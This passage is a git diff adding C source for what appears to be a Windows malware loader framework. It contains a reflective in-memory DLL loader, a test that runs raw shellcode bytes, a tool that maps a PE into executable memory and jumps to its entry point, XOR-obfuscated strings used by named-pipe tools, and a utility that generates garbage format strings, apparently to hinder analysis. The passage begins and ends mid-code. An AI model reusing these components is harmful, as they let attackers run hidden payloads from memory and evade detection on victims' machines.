imp_desc->OriginalFirstThunk ? name_table : address_table; + while (thunk->u1.AddressOfData) + { + unsigned char *func_name; + /* is ordinal? */ + if (thunk->u1.Ordinal & IMAGE_ORDINAL_FLAG) + func_name = (unsigned char *)MAKE_ORDINAL(thunk->u1.Ordinal); + else + func_name = ((IMAGE_IMPORT_BY_NAME *)((char *)module + thunk->u1.AddressOfData))->Name; + + address_table->u1.Function = (DWORD)get_proc_address(lib_module, (char *)func_name); + + thunk++; + address_table++; + } + } + return 1; + +fail: + /* free the modules we loaded till now */ + free_imp_by_range(module, first_imp_desc, imp_desc); + return 0; +} + +/* if end is NULL, then it will continue till there are no more modules to free */ +static void free_imp_by_range(void *module, + IMAGE_IMPORT_DESCRIPTOR *begining, + IMAGE_IMPORT_DESCRIPTOR *end) +{ + IMAGE_IMPORT_DESCRIPTOR *imp_desc; + imp_desc = begining; + for ( ; + (imp_desc->Name || imp_desc->TimeDateStamp) && (!end || imp_desc != end); + ++imp_desc) + { + char *dll_name; + HMODULE loaded_module; + + dll_name = (char *)module + imp_desc->Name; + if ((loaded_module = GetModuleHandleA(dll_name))) + FreeLibrary(loaded_module); + } +} + +static void free_imports(void *module) +{ + free_imp_by_range(module, get_imp_desc(module), NULL); +} + +static void fix_relocations(IMAGE_BASE_RELOCATION *base_reloc, DWORD dir_size, + void *new_imgbase, void *old_imgbase) +{ + IMAGE_BASE_RELOCATION *cur_reloc = base_reloc, *reloc_end; + DWORD delta = (char *)new_imgbase - (char *)old_imgbase; + + reloc_end = (IMAGE_BASE_RELOCATION *)((char *)base_reloc + dir_size); + /* FIX-ME: is checking virtualaddress for cur_reloc necessary? */ + while (cur_reloc < reloc_end && cur_reloc->VirtualAddress) + { + int count = (cur_reloc->SizeOfBlock - sizeof(IMAGE_BASE_RELOCATION)) / sizeof(WORD); + WORD *cur_entry = (WORD *)(cur_reloc + 1); + void *page_va = (void *)((char *)new_imgbase + cur_reloc->VirtualAddress); + + while (count--) + { + /* is valid x86 relocation? */ + if (*cur_entry >> 12 == IMAGE_REL_BASED_HIGHLOW) + *(DWORD *)((char *)page_va + (*cur_entry & 0x0fff)) += delta; + cur_entry++; + } + /* advance to the next reloc entry */ + cur_reloc = (IMAGE_BASE_RELOCATION *)((char *)cur_reloc + cur_reloc->SizeOfBlock); + } +} + +static void copy_headers(void *dest_pe, void *src_pe) +{ + IMAGE_NT_HEADERS *nt_hdrs; + nt_hdrs = GET_NT_HEADERS(src_pe); + memcpy(dest_pe, src_pe, nt_hdrs->OptionalHeader.SizeOfHeaders); +} + +static void copy_sections(void *dest_pe, void *src_pe) +{ + WORD i; + IMAGE_NT_HEADERS *nt_hdrs; + IMAGE_SECTION_HEADER *sec_hdr; + + nt_hdrs = GET_NT_HEADERS(src_pe); + sec_hdr = IMAGE_FIRST_SECTION(nt_hdrs); + for (i = 0; i < nt_hdrs->FileHeader.NumberOfSections; ++i, ++sec_hdr) + { + void *sec_dest; + size_t padding_size; + + sec_dest = (void *)((char *)dest_pe + sec_hdr->VirtualAddress); + /* copy the raw data from the mapped module */ + memcpy(sec_dest, + (void *)((char *)src_pe + sec_hdr->PointerToRawData), + sec_hdr->SizeOfRawData); + /* set the remaining part of the section with zeros */ + padding_size = ROUND(sec_hdr->Misc.VirtualSize, nt_hdrs->OptionalHeader.SectionAlignment) - sec_hdr->SizeOfRawData; + memset((void *)((char *)sec_dest + sec_hdr->SizeOfRawData), 0, padding_size); + } +} + +/* executable, readable, writable */ +static DWORD secp2vmemp[2][2][2] = +{ + { + /* not executable */ + {PAGE_NOACCESS, PAGE_WRITECOPY}, + {PAGE_READONLY, PAGE_READWRITE} + }, + { + /* executable */ + {PAGE_EXECUTE, PAGE_EXECUTE_WRITECOPY}, + {PAGE_EXECUTE_READ, PAGE_EXECUTE_READWRITE} + } +}; + +static DWORD secp_to_vmemp(DWORD secp) +{ + DWORD vmemp; + int executable, readable, writable; + + executable = (secp & IMAGE_SCN_MEM_EXECUTE) != 0; + readable = (secp & IMAGE_SCN_MEM_READ) != 0; + writable = (secp & IMAGE_SCN_MEM_WRITE) != 0; + vmemp = secp2vmemp[executable][readable][writable]; + if (secp & IMAGE_SCN_MEM_NOT_CACHED) + vmemp |= PAGE_NOCACHE; + return vmemp; +} + +static void protect_module_pages(void *module) +{ + IMAGE_NT_HEADERS *nt_hdrs; + IMAGE_SECTION_HEADER *sec_hdr; + DWORD old_prot, new_prot; + WORD i; + + nt_hdrs = GET_NT_HEADERS(module); + /* protect the PE headers */ + VirtualProtect(module, nt_hdrs->OptionalHeader.SizeOfHeaders, PAGE_READONLY, &old_prot); + + /* protect the image sections */ + sec_hdr = IMAGE_FIRST_SECTION(nt_hdrs); + for (i = 0; i < nt_hdrs->FileHeader.NumberOfSections; ++i, ++sec_hdr) + { + void *section; + section = (void *)((char *)module + sec_hdr->VirtualAddress); + /* free the section if it's marked as discardable */ + if (sec_hdr->Characteristics & IMAGE_SCN_MEM_DISCARDABLE) + { + VirtualFree(section, sec_hdr->Misc.VirtualSize, MEM_DECOMMIT); + continue; + } + new_prot = secp_to_vmemp(sec_hdr->Characteristics); + VirtualProtect(section, + sec_hdr->Misc.VirtualSize, /* pages affected in the range are changed */ + new_prot, + &old_prot); + } +} + +/* loads dlls from memory +* returns the address of the loaded dll on successs, NULL on failure +*/ +HMODULE mem_load_library(void *module_map) +{ + IMAGE_NT_HEADERS *nt_hdrs; + HMODULE module; + DWORD image_base, ep_rva; + IMAGE_DATA_DIRECTORY *reloc_dir_entry; + int relocate, apis_loaded; + + relocate = apis_loaded = 0; + if (!is_pe(module_map)) + return NULL; + + nt_hdrs = (IMAGE_NT_HEADERS *)((char *)module_map + ((IMAGE_DOS_HEADER *)module_map)->e_lfanew); + reloc_dir_entry = &nt_hdrs->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC]; + + /* reserve memory for the module at image base if possible */ + image_base = nt_hdrs->OptionalHeader.ImageBase; + module = VirtualAlloc((void *)(image_base), nt_hdrs->OptionalHeader.SizeOfImage, + MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE); + /* image base taken ? */ + if (!module) + { + relocate = 1; + /* is module relocatable? */ + if (!reloc_dir_entry->VirtualAddress) + return NULL; + /* try to allocate it at an arbitrary address */ + module = VirtualAlloc(NULL, nt_hdrs->OptionalHeader.SizeOfImage, + MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE); + if (!module) + return NULL; + } + + copy_headers(module, module_map); + copy_sections(module, module_map); + if (!load_imports(module)) + goto fail; + apis_loaded = 1; + /* relocate the module if it isn't loaded at it's prefered address */ + if (relocate) + { + IMAGE_BASE_RELOCATION *base_reloc; + base_reloc = (IMAGE_BASE_RELOCATION *)((char *)module_map + rva_to_raw(reloc_dir_entry->VirtualAddress, nt_hdrs)); + fix_relocations(base_reloc, reloc_dir_entry->Size, module, (void *)image_base); + } + /* change the protection flags of the module pages */ + protect_module_pages(module); + /* call DLLMain if it has one */ + if ((ep_rva = nt_hdrs->OptionalHeader.AddressOfEntryPoint)) + { + DllMainFunc dll_main; + dll_main = (DllMainFunc)((char *)module + ep_rva); + if (!dll_main((HINSTANCE)module, DLL_PROCESS_ATTACH, NULL)) + goto fail; + } + + return module; + +fail: + if (apis_loaded) + free_imports(module); + VirtualFree(module, 0, MEM_RELEASE); + return NULL; +} + +void mem_free_library(HMODULE *module) +{ + IMAGE_NT_HEADERS *nt_hdrs; + + nt_hdrs = (IMAGE_NT_HEADERS *)((char *)module + ((IMAGE_DOS_HEADER *)module)->e_lfanew); + /* tell the module it's getting detached */ + if (nt_hdrs->OptionalHeader.AddressOfEntryPoint) + { + DllMainFunc dll_main; + + dll_main = (DllMainFunc)((char *)module + nt_hdrs->OptionalHeader.AddressOfEntryPoint); + dll_main((HINSTANCE)module, DLL_PROCESS_DETACH, NULL); + } + free_imports(module); + VirtualFree(module, 0, MEM_RELEASE); +} + +void *get_proc_address(HMODULE module, const char *proc_name) +{ + IMAGE_NT_HEADERS *nt_hdrs; + IMAGE_DATA_DIRECTORY *exp_entry; + IMAGE_EXPORT_DIRECTORY *exp_dir; + void **func_table; + WORD *ord_table; + char **name_table; + void *address; + + + nt_hdrs = GET_NT_HEADERS(module); + exp_entry = (IMAGE_DATA_DIRECTORY *)(&nt_hdrs->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT]); + exp_dir = (IMAGE_EXPORT_DIRECTORY *)((char *)module + exp_entry->VirtualAddress); + + func_table = (void **)((char *)module + exp_dir->AddressOfFunctions); + ord_table = (WORD *)((char *)module + exp_dir->AddressOfNameOrdinals); + name_table = (char **)((char *)module + exp_dir->AddressOfNames); + + /* NULL is returned if nothing is found */ + address = NULL; + + + /* is ordinal? */ + if (((DWORD)proc_name >> 16) == 0) + { + WORD ordinal = LOWORD(proc_name); + DWORD ord_base = exp_dir->Base; + /* is valid ordinal? */ + if (ordinal < ord_base || ordinal > ord_base + exp_dir->NumberOfFunctions) + return NULL; + + /* taking ordinal base into consideration */ + address = (void *)((char *)module + (DWORD)func_table[ordinal - ord_base]); + } + else + { + DWORD i; + + /* import by name */ + for (i = 0; i < exp_dir->NumberOfNames; i++) + { + /* name table pointers are rvas */ + if (strcmp(proc_name, (char *)module + (DWORD)name_table[i]) == 0) + address = (void *)((char *)module + (DWORD)func_table[ord_table[i]]); + } + } + + /* is forwarded? */ + if ((char *)address >= (char *)exp_dir && + (char *)address < (char *)exp_dir + exp_entry->Size) + { + char *dll_name, *func_name; + HMODULE frwd_module; + + dll_name = strdup((char *)address); + if (!dll_name) + return NULL; + func_name = strchr(dll_name, '.'); + *func_name++ = 0; + + if ((frwd_module = GetModuleHandleA(dll_name))) + address = get_proc_address(frwd_module, func_name); + else + address = NULL; + + free(dll_name); + } + + return address; +} diff --git a/source/tools/old/shellcode.c b/source/tools/old/shellcode.c new file mode 100644 index 0000000..8e57a02 --- /dev/null +++ b/source/tools/old/shellcode.c @@ -0,0 +1,46 @@ + +#include <windows.h> + +volatile const char *ShellCode __asm__("ShellCode") = ("\x6A\x00\x52\x53\x6A\x00\x89\xCB\xFF\xD3\xC3"); +volatile const char *lol __asm__("lol") = "LOLDUDE"; +volatile const char *lol2 __asm__("lol2") = "O_O"; + +typedef void (*MsgBoxFunc)(char*); + + +void run_test_shellcode(void) +{ + volatile static MsgBoxFunc MsgBoxA __asm__("kurwa") __attribute__((unused)); + + MsgBoxA = (MsgBoxFunc) GetProcAddress(LoadLibrary("user32.dll"),"MessageBoxA"); + /* execute code in .text AND .rdata segment */ + __asm__( + ".intel_syntax noprefix\n" + "mov ecx, kurwa\n\t" + "mov edx, [lol]\n\t" + "mov ebx, [lol2]\n\t" + "mov esi, ShellCode\n\t" + "call esi\n\t" + ".att_syntax\n" + ); + + /* execute code in .text segment ONLY */ + __asm__( + ".intel_syntax noprefix\n" + "mov ecx, kurwa\n\t" + "push 0x0\n\t" + "push [lol]\n\t" + "push [lol2]\n\t" + "push 0x0\n\t" + "mov ebx,ecx\n\t" + "call ebx\n\t" + ".att_syntax\n" + ); +} + +int main(int argc, char *argv[]) +{ + if (argc == 1) + run_test_shellcode(); + return 0; +} diff --git a/source/tools/pipe_client.c b/source/tools/pipe_client.c new file mode 100644 index 0000000..f00bc92 --- /dev/null +++ b/source/tools/pipe_client.c @@ -0,0 +1,83 @@ +#include <windows.h> +#include <stdio.h> + +#include "xor_strings.h" + +#define BUFSIZE 512 + +int main(int argc, char** argv) +{ + HANDLE hPipe; + LPSTR lpvMessage = "Default message from client."; + BOOL fSuccess = FALSE; + DWORD cbToWrite, cbWritten; + LPCSTR lpszPipename = MILLER_MSGPIPE; + + if(argc > 1) { + lpvMessage = argv[1]; + } + + // Try to open a named pipe; wait for it, if necessary. + while (1) { + hPipe = CreateFile( + lpszPipename, // pipe name + GENERIC_WRITE, + 0, // no sharing + NULL, // default security attributes + OPEN_EXISTING, // opens existing pipe + 0, // default attributes + NULL); // no template file + // Break if the pipe handle is valid. + if (hPipe != INVALID_HANDLE_VALUE) { + break; + } + // Exit if an error other than ERROR_PIPE_BUSY occurs. + if (GetLastError() != ERROR_PIPE_BUSY) { + printf("Could not open pipe. (ERROR: %lu)\n", GetLastError()); + return -1; + } + // All pipe instances are busy, so wait for 20 seconds. + if (!WaitNamedPipe(lpszPipename, 20000)) { + printf("Could not open pipe: 20 second wait timed out.\n"); + return -1; + } + } + + printf("Pipe opened: %s\n", lpszPipename); + // Send a message to the pipe server. + cbToWrite = (lstrlen(lpvMessage)+1)*sizeof(char); + + char line[1024]; + size_t sent = 0; + do { + printf("Sending %lu byte message: \"%s\"\n", cbToWrite, lpvMessage); + fSuccess = WriteFile( + hPipe, // pipe handle + lpvMessage, // message + cbToWrite, // message length + &cbWritten, // bytes written + NULL); // not overlapped + if (!fSuccess) { + printf("WriteFile to pipe failed. (ERROR: %lu)\n", GetLastError()); + return -1; + } + sent++; + if (argc == 1) { + memset(&line[0], '\0', sizeof(line)); + printf("Input: "); + if (fgets(line, sizeof(line), stdin) == NULL) { + break; + } + lpvMessage = &line[0]; + cbToWrite = strnlen(lpvMessage, sizeof(line)); + if (lpvMessage[cbToWrite-1] == '\n') { + lpvMessage[cbToWrite-1] = '\0'; + cbToWrite--; + } + } else break; + } while (1); + + printf("%u messages sent to server\n", sent); + CloseHandle(hPipe); + return 0; +} diff --git a/source/tools/pipe_server.c b/source/tools/pipe_server.c new file mode 100644 index 0000000..d26006b --- /dev/null +++ b/source/tools/pipe_server.c @@ -0,0 +1,164 @@ +#include <windows.h> +#include <stdio.h> + +#include "xor_strings.h" + +#define BUFSIZE 512 + +static DWORD WINAPI InstanceThread(LPVOID); +static void AppOutput(LPSTR fmt, ...); + +int main(int argc, char** argv) +{ + BOOL fConnected = FALSE; + DWORD dwThreadId = 0; + HANDLE hPipe = INVALID_HANDLE_VALUE, hThread = NULL; + LPCSTR lpszPipename = MILLER_MSGPIPE; + + (void)argc; + (void)argv; + + // The main loop creates an instance of the named pipe and + // then waits for a client to connect to it. When the client + // connects, a thread is created to handle communications + // with that client, and this loop is free to wait for the + // next client connect request. It is an infinite loop. + + for (;;) { + AppOutput("Pipe Server: Main thread awaiting client connection on %s", lpszPipename); + hPipe = CreateNamedPipe( + lpszPipename, // pipe name + PIPE_ACCESS_DUPLEX, // read/write access + PIPE_TYPE_MESSAGE | // message type pipe + PIPE_READMODE_MESSAGE | // message-read mode + PIPE_WAIT, // blocking mode + PIPE_UNLIMITED_INSTANCES, // max. instances + BUFSIZE, // output buffer size + BUFSIZE, // input buffer size + 0, // client time-out + NULL); // default security attribute + if (hPipe == INVALID_HANDLE_VALUE) { + AppOutput("CreateNamedPipe failed (ERROR: %lu).", GetLastError()); + return -1; + } + // Wait for the client to connect; if it succeeds, + // the function returns a nonzero value. If the function + // returns zero, GetLastError returns ERROR_PIPE_CONNECTED. + fConnected = ConnectNamedPipe(hPipe, NULL) ? + TRUE : (GetLastError() == ERROR_PIPE_CONNECTED); + if (fConnected) { + AppOutput("Client connected, creating a processing thread."); + // Create a thread for this client. + hThread = CreateThread( + NULL, // no security attribute + 0, // default stack size + InstanceThread, // thread proc + (LPVOID) hPipe, // thread parameter + 0, // not suspended + &dwThreadId); // returns thread ID + + if (hThread == NULL) { + AppOutput("CreateThread failed (ERROR: %lu).", GetLastError()); + return -1; + } else CloseHandle(hThread); + } else { + // The client could not connect, so close the pipe. + CloseHandle(hPipe); + } + } + + return 0; +} + +DWORD WINAPI InstanceThread(LPVOID lpvParam) +// This routine is a thread processing function to read from and reply to a client +// via the open pipe connection passed from the main loop. Note this allows +// the main loop to continue executing, potentially creating more threads of +// of this procedure to run concurrently, depending on the number of incoming +// client connections. +{ + HANDLE hHeap = GetProcessHeap(); + char* pchRequest = (char*)HeapAlloc(hHeap, 0, BUFSIZE*sizeof(char)); + char* pchReply = (char*)HeapAlloc(hHeap, 0, BUFSIZE*sizeof(char)); + DWORD cbBytesRead = 0; + BOOL fSuccess = FALSE; + HANDLE hPipe = NULL; + + // Do some extra error checking since the app will keep running even if this + // thread fails. + if (lpvParam == NULL) { + AppOutput("ERROR - Pipe Server Failure"); + if (pchReply != NULL) HeapFree(hHeap, 0, pchReply); + if (pchRequest != NULL) HeapFree(hHeap, 0, pchRequest); + return (DWORD)-1; + } + if (pchRequest == NULL) { + AppOutput("ERROR - Pipe Server Failure"); + if (pchReply != NULL) HeapFree(hHeap, 0, pchReply); + return (DWORD)-1; + } + if (pchReply == NULL) { + AppOutput("ERROR - Pipe Server Failure"); + if (pchRequest != NULL) HeapFree(hHeap, 0, pchRequest); + return (DWORD)-1; + } + + // Print verbose messages. In production code, this should be for debugging only. + AppOutput("InstanceThread created, receiving and processing messages."); + // The thread's parameter is a handle to a pipe object instance. + hPipe = (HANDLE) lpvParam; + // Loop until done reading + while (1) { + // Read client requests from the pipe. This simplistic code only allows messages + // up to BUFSIZE characters in length. + fSuccess = ReadFile( + hPipe, // handle to pipe + pchRequest, // buffer to receive data + BUFSIZE*sizeof(char), // size of buffer + &cbBytesRead, // number of bytes read + NULL); // not overlapped I/O + + if (!fSuccess || cbBytesRead == 0) { + if (GetLastError() == ERROR_BROKEN_PIPE) { + AppOutput("InstanceThread: client disconnected (ERROR: %lu).", GetLastError()); + } else { + AppOutput("InstanceThread ReadFile failed (ERROR: %lu).", GetLastError()); + } + break; + } + // Process the incoming message. + AppOutput("--- MESSAGE ---"); + if (pchRequest[cbBytesRead-1] == '\n') { + pchRequest[cbBytesRead-1] = '\0'; + } + printf("\"%.*s\"\n", (int)cbBytesRead, pchRequest); + memset(pchRequest, '\0', BUFSIZE*sizeof(char)); + } + + // Flush the pipe to allow the client to read the pipe's contents + // before disconnecting. Then disconnect the pipe, and close the + // handle to this pipe instance. + FlushFileBuffers(hPipe); + DisconnectNamedPipe(hPipe); + CloseHandle(hPipe); + HeapFree(hHeap, 0, pchRequest); + HeapFree(hHeap, 0, pchReply); + AppOutput("InstanceThread exitting."); + return 1; +} + +static void AppOutput(LPSTR fmt, ...) +{ + char* pBuffer = NULL; + SYSTEMTIME stm; + GetSystemTime(&stm); + + va_list args = NULL; + va_start(args, fmt); + + vasprintf(&pBuffer, fmt, args); + printf("[%02d-%02d-%02d]: %s\n", stm.wHour, stm.wMinute, stm.wSecond, pBuffer); + free(pBuffer); + + va_end(args); +} diff --git a/source/tools/runbin.c b/source/tools/runbin.c new file mode 100644 index 0000000..af3b8f4 --- /dev/null +++ b/source/tools/runbin.c @@ -0,0 +1,217 @@ +/* modified (from http://securityxploded.com/memory-execution-of-executable.php) */ +#include <windows.h> + +#include <stdio.h> +#include <stdlib.h> +#include <unistd.h> + +#include "loader.h" + +#define DEREF_32( name )*(DWORD *)(name) + + +static volatile PVOID kernel32 asm("__kernel32") = NULL; +static volatile PVOID getproc asm("__getproc") = NULL; +static volatile DWORD EntryAddr asm("__EntryAddr"); +static volatile PVOID memalloc asm("__memalloc") = NULL; +static volatile PVOID ldr_ptr asm("__ldr") = NULL; + +static volatile struct loader_x86_data ldr; +static volatile DWORD size = 0x0; +static volatile PVOID vpointer = NULL; + +static volatile DWORD retval asm("__retval") = -1; + + +int main(int argc, char *argv[]) +{ + if (argc != 2 && argc != 3 && argc != 4) { + fprintf(stderr, "usage: %s path-to-dynamic-library [preferred-Virtual-Address] [wait-time]\n", argv[0]); + return -1; + } + + DWORD dwWait = 2; + + if (argc == 4) { + errno = 0; + dwWait = strtoul(argv[3], NULL, 10); + if (errno != 0) + dwWait = 2; + } + + BOOL doAllocAt = FALSE; + PVOID allocPtr = NULL; + if (argc >= 3) { + doAllocAt = TRUE; + char* errch = NULL; + allocPtr = (PVOID)strtoul(argv[2], &errch, 16); + } + + HANDLE handle; + HINSTANCE laddress; + LPSTR libname; + DWORD byteread; + PIMAGE_NT_HEADERS nt; + PIMAGE_SECTION_HEADER section; + DWORD dwValueA; + DWORD dwValueB; + DWORD dwValueC; + DWORD dwValueD; + + // read the file + printf("Reading file..\n"); + handle = CreateFile(argv[1],GENERIC_READ,0,0,OPEN_EXISTING,FILE_ATTRIBUTE_NORMAL,0); + if (handle == INVALID_HANDLE_VALUE) { + fprintf(stderr, "%s: file(%s) does not exist or is not readable\n", argv[0], argv[1]); + return -1; + } + + // get the file size + size = GetFileSize(handle,NULL); + if (size <= 0) { + fprintf(stderr, "%s: invalid file(%s) size\n", argv[0], argv[1]); + return -1; + } + + // Allocate the space + vpointer = VirtualAlloc(NULL,size,MEM_COMMIT,PAGE_READWRITE); + + // read file on the allocated space + ReadFile(handle,vpointer,size,&byteread,NULL); + CloseHandle(handle); + printf("File loaded into memory ..\n"); + printf("address............: 0x%X (%lu)\n", (unsigned int)vpointer, (long unsigned int)vpointer); + printf("size...............: 0x%X (%lu)\n", (unsigned int)size, size); + printf("Parse PE-Header ..\n"); + + // read NT header of the file + nt = (PIMAGE_NT_HEADERS)((PCHAR)vpointer + ((PIMAGE_DOS_HEADER)vpointer)->e_lfanew); + printf("e_lfanew...........: 0x%X (%ld)\n", (unsigned int)((PIMAGE_DOS_HEADER)vpointer)->e_lfanew, ((PIMAGE_DOS_HEADER)vpointer)->e_lfanew); + handle = GetCurrentProcess(); + + // get VA of entry point + printf("AddressOfEntryPoint: 0x%X (%ld)\n", (unsigned int)nt->OptionalHeader.AddressOfEntryPoint, nt->OptionalHeader.AddressOfEntryPoint); + printf("ImageBase..........: 0x%X (%ld)\n", (unsigned int)nt->OptionalHeader.ImageBase, nt->OptionalHeader.ImageBase); + printf("SizeOfImage........: 0x%X (%ld)\n", (unsigned int)nt->OptionalHeader.SizeOfImage, nt->OptionalHeader.SizeOfImage); + printf("SizeOfHeaders......: 0x%X (%ld)\n", (unsigned int)nt->OptionalHeader.SizeOfHeaders, nt->OptionalHeader.SizeOfHeaders); + printf("SizeOptionalHeader.: 0x%X (%d)\n", (unsigned int)nt->FileHeader.SizeOfOptionalHeader, nt->FileHeader.SizeOfOptionalHeader); + + // Allocate the space with Imagebase as a desired address allocation request + memalloc = VirtualAllocEx( + handle, + (doAllocAt == FALSE ? (LPVOID)nt->OptionalHeader.ImageBase : allocPtr), + nt->OptionalHeader.SizeOfImage, + MEM_RESERVE | MEM_COMMIT, + PAGE_EXECUTE_READWRITE + ); + + // Check for NULL (esp. if the user wants to chooose a specific VA) + if (!memalloc) { + printf("FATAL: VirtualAllocEx failed with %d\n", (int)GetLastError()); + exit(1); + } + EntryAddr = (DWORD)memalloc + nt->OptionalHeader.AddressOfEntryPoint; + + // Write headers on the allocated space + WriteProcessMemory(handle, + memalloc, + vpointer, + nt->OptionalHeader.SizeOfHeaders, + 0 + ); + + + // write sections on the allocated space + section = IMAGE_FIRST_SECTION(nt); + printf("sizeof(section)....: 0x%X (%u)\n", sizeof(IMAGE_SECTION_HEADER), sizeof(IMAGE_SECTION_HEADER)); + printf("FirstSectionRVA....: 0x%X (%ld)\n", (unsigned int)section[0].VirtualAddress, section[0].VirtualAddress); + printf("FirstSectionPTR....: 0x%X (%ld)\n", (unsigned int)section[0].PointerToRawData, section[0].PointerToRawData); + if ((unsigned int)memalloc != (unsigned int)nt->OptionalHeader.ImageBase) { + printf("Allocated memory block does not start at DLL image base!\n" + " -> 0x%X != 0x%X\n", (unsigned int)memalloc, (unsigned int)nt->OptionalHeader.ImageBase); + } + + for (ULONG i = 0; i < nt->FileHeader.NumberOfSections; i++) + { + WriteProcessMemory( + handle, + (PCHAR)memalloc + section[i].VirtualAddress, + (PCHAR)vpointer + section[i].PointerToRawData, + section[i].SizeOfRawData, + 0 + ); + } + + if (*(DWORD*)&(nt->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT]) != 0x00000000) + { + // read import dirctory, if exists + dwValueB = (DWORD) &(nt->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT]); + + // get the VA + dwValueC = (DWORD)(memalloc) + + ((PIMAGE_DATA_DIRECTORY)dwValueB)->VirtualAddress; + + while(((PIMAGE_IMPORT_DESCRIPTOR)dwValueC)->Name) + { + // get DLL name + libname = (LPSTR)((DWORD)(memalloc) + + ((PIMAGE_IMPORT_DESCRIPTOR)dwValueC)->Name); + + // Load dll + laddress = LoadLibrary(libname); + + // get first thunk, it will become our IAT + dwValueA = (DWORD)(memalloc) + + ((PIMAGE_IMPORT_DESCRIPTOR)dwValueC)->FirstThunk; + + // resolve function addresses + while(DEREF_32(dwValueA)) + { + dwValueD = (DWORD)(memalloc) + DEREF_32(dwValueA); + // get function name + LPSTR Fname = (LPSTR)((PIMAGE_IMPORT_BY_NAME)dwValueD)->Name; + // get function addresses + DEREF_32(dwValueA) = (DWORD)GetProcAddress(laddress,Fname); + dwValueA += 4; + } + + dwValueC += sizeof( IMAGE_IMPORT_DESCRIPTOR ); + } + } else printf("No Import Table found, nothing to import ..\n"); + + memset((void*)&ldr, '\0', sizeof(ldr)); + ldr.ptrToDLL = (uint32_t)vpointer; + ldr.sizOfDLL = size; + unsigned char marker[] = { _LOADER_ENDMARKER }; + memcpy((void*)&ldr.endMarker, &marker[0], sizeof(ldr.endMarker)); + + ldr_ptr = (volatile PVOID) &ldr; + kernel32 = LoadLibraryA("KERNEL32.dll"); + getproc = GetProcAddress((void*)kernel32, "GetProcAddress"); + + printf("Calling DLL AdrOfEntry ..\n"); + // call the entry point :: here we assume that everything is ok. + asm volatile( + ".intel_syntax noprefix\n" + "pushad\n\t" + "pushfd\n\t" + "mov ebx,0xdeadbeef\n\t" + "mov ecx,[__getproc]\n\t" + "mov edx,[__kernel32]\n\t" + "mov edi,__memalloc\n\t" + "mov esi,__ldr\n\t" + "push 0x00000000\n\t" + "call [__EntryAddr]\n\t" + "pop esi\n\t" + "mov [__retval],eax\n\t" + "popfd\n\t" + "popad\n\t" + ".att_syntax\n" + ); + + sleep(dwWait); + printf("DLL returned: %X (%d)\n", (unsigned int)retval, (int)retval); + printf("GetLastError: 0x%X (%ld)\n", (unsigned int)GetLastError(), GetLastError()); + + return retval; +} diff --git a/source/utils.c b/source/utils.c new file mode 100644 index 0000000..a8fcbb6 --- /dev/null +++ b/source/utils.c @@ -0,0 +1,434 @@ +#include "compat.h" +#include "utils.h" +#include "crypt.h" +#include "math.h" + +#include <limits.h> + +#ifndef _NO_UTILS +#include "crypt_strings.h" +#include "xor_strings_gen.h" + + +DWORD dwEnumDrives(struct LogicalDrives* destPtr, int destLen) +{ + TCHAR szTmp[512]; + TCHAR* p = &szTmp[0]; + DWORD max = destLen; + + if (_GetLogicalDriveStrings(511, szTmp)) { + do { + if (destLen-- <= 0) + return 0; + COMPAT(memcpy)(&destPtr->name[0], p, MAX_PATH); + destPtr->devType = _GetDriveType(p); + DWORD bytesPerSector = 0; + DWORD sectorsPerCluster = 0; + if (_GetDiskFreeSpace(p, §orsPerCluster, &bytesPerSector, + &destPtr->freeClusters, &destPtr->totalClusters) == TRUE) { + destPtr->bytesPerSectorsPerCluster = bytesPerSector * sectorsPerCluster; + } + while (*p++) {} + } while (*p && ++destPtr); + } else return 0; + + return max - destLen; +} + +DWORD XMemAlign(DWORD size, DWORD align, DWORD addr) +{ + if (!(size % align)) + return addr + size; + return addr + (size / align + 1) * align; +} + +char* __xstrrev(char* s) +{ + int j,k,c; + for(k=0; s[k] != 0; k++); + for(j=0,k--; j<k; j++,k--) + { + c = s[j]; + s[j] = s[k]; + s[k] = c; + } + return s; +} + +char* __xbintostr(const BYTE* buf, SIZE_T siz, SIZE_T delim, SIZE_T* newSizPtr) +{ + register SIZE_T i; + SIZE_T allocLen = ( delim > 0 ? (int)(siz/delim) : 1 ) + siz*2; + char* result = COMPAT(calloc)(allocLen+1, sizeof(char)); + char tmp[4]; + + DBUF(HEX_ALPHA_ENUM, hexal); + tmp[3] = '\0'; + for (i = 0; i < siz; ++i) + { + unsigned char halfByte = buf[i] >> 4; + tmp[0] = hexal[halfByte%16]; + halfByte = buf[i] & 0x0F; + tmp[1] = hexal[halfByte%16]; + tmp[2] = '\0'; + if (delim>0 && i%delim==delim-1) + tmp[2] = ' '; + COMPAT(strcat)(result, tmp); + } + result[allocLen] = '\0'; + + if (newSizPtr) + *newSizPtr = allocLen; + return result; +} + +char* __xultoa(UINT64 ullval, char *s, int radix) +{ + register int i; + + i=0; + DBUF(LOWER_ALPHA_ENUM, lower); + do + { + s[i++] = lower[ullval % radix]; + ullval /= radix; + } + while(ullval>0); + + s[i] = '\0'; + return __xstrrev(s); +} + +char* __xltoa(INT64 n, char *s, int radix) +{ + unsigned long int ullval = 0; + int i, sign; + + if((sign = (n < 0)) && radix == 10) + ullval = -n; + else + ullval = n; + + DBUF(LOWER_ALPHA_ENUM, lower); + i=0; + do + { + s[i++] = lower[ullval % radix]; + ullval /= radix; + } + while(ullval>0); + + if (sign) + s[i++] = '-'; + s[i] = '\0'; + + return __xstrrev(s); +} + +char* __genGarbageFormatStr(size_t garbageSiz) +{ + DBUF(FORMAT_FAKE_ARR_ENUM, fakefmt); + size_t siz = (sizeof(fakefmt)/sizeof(fakefmt[0]))-1; + size_t start = 0, end = 0; + size_t alphaSiz = 0; + char** alphaArr = COMPAT(calloc)(sizeof(char**), alphaSiz+1); + + for (size_t i = 0; i < siz; ++i) + { + if (fakefmt[i] != '\n') { + end++; + } else { + alphaSiz++; + size_t rndsiz = (__rdtsc() % 5)+1; + size_t rndnum = __rdtsc() % __pow(10, rndsiz); + alphaArr = COMPAT(realloc)(alphaArr, alphaSiz*sizeof(char**)); + size_t idx = alphaSiz - 1; + alphaArr[idx] = COMPAT(calloc)(sizeof(char), end-start+rndsiz+1); + if ( *(fakefmt + start) == '%' && (__rdtsc() % 2) == 0) { + char buf[rndsiz+1]; + __xultoa(rndnum, &buf[0], 10); + buf[rndsiz] = 